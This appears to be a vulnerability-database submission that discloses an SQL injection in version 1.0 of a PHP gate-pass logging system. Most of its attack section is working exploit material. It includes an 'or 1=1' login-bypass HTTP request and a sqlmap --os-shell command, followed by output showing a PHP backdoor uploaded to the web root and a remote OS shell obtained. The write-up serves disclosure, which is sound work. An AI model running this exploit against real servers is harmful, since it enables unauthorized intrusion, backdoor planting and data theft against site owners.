| Title | Employee and Visitor Gate Pass Logging System - SQL Injection Leads to Remote Code Execution |
|---|
| Description | # Exploit Title: Employee and Visitor Gate Pass Logging System - SQL Injection Leads to Remote Code Execution
# Exploit Author: Krutika Thakur
# Vendor Name: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/15026/employee-and-visitor-gate-pass-logging-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/php/15026/employee-and-visitor-gate-pass-logging-system-php-source-code.html
# Version: v1.0
# Tested on: Windows 11, Apache
Description:-
A SQL Injection issue in Employee and Visitor Gate Pass Logging System allows to get an complete Remote Code Execution into the website. Access such as database, files and everything.
`
Payload used:-
python sqlmap.py -r read.TXT -p password --risk 2 --level 3 --os-shell
`
Parameter":-
read.txt file is our payload file
```
POST /employee_gatepass/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 56
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_gatepass/admin/login.php
Cookie: PHPSESSID=2m5nonh64ipi3np8tuma1dt4lf
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
username=admin'+or+1%3D1+--&password=
```
`
Steps to reproduce:-
1. Here we take the POST method of login page where we put our username and password.
2. In this we keep our password field blank and save it to a txt file.
3. Now we are gonna use "SQLMap" tool and with this following command
**python sqlmap.py -r read.TXT -p password --risk 2 --level 3 --os-shell**
4. As we can see we got the complete access of the server. Below are responses of some for POC
```
POST parameter 'password' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 675 HTTP(s) requests:
---
Parameter: password (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=admin' or 1=1 --&password= AND (SELECT 4103 FROM(SELECT COUNT(*),CONCAT(0x717a6b6b71,(SELECT (ELT(4103=4103,1))),0x7170716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NCmm
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' or 1=1 --&password= AND (SELECT 2437 FROM (SELECT(SLEEP(5)))ocRF)-- uXOx
---
[11:47:00] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.46, PHP 7.3.27
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[11:47:00] [INFO] going to use a web backdoor for command prompt
[11:47:00] [INFO] fingerprinting the back-end DBMS operating system
[11:47:00] [INFO] the back-end DBMS operating system is Windows
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[11:47:02] [INFO] retrieved the web server document root: 'C:\xampp\htdocs'
[11:47:02] [INFO] retrieved web server absolute paths: 'C:/xampp/htdocs/employee_gatepass/classes/Login.php'
[11:47:02] [INFO] trying to upload the file stager on 'C:/xampp/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[11:47:02] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/' - http://localhost:80/tmpuwhet.php
[11:47:02] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/' - http://localhost:80/tmpbptlx.php
[11:47:02] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ls
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
'ls' is not recognized as an internal or external command,
operable program or batch file.
---
os-shell> dir
```
```os-shell> hostname
do you want to retrieve the command standard output? [Y/n/a]
command standard output: 'LAPTOP-HP927***'
``` |
|---|
| User | lucifoxer001 (UID 33693) |
|---|
| Submission | 03/12/2023 07:29 (4 years ago) |
|---|
| Moderation | 03/13/2023 08:23 (1 day later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 191414 [Sourcecodester Employee and Visitor Gate Pass Logging System 1.0 username sql injection] |
|---|
| Points | 0 |
|---|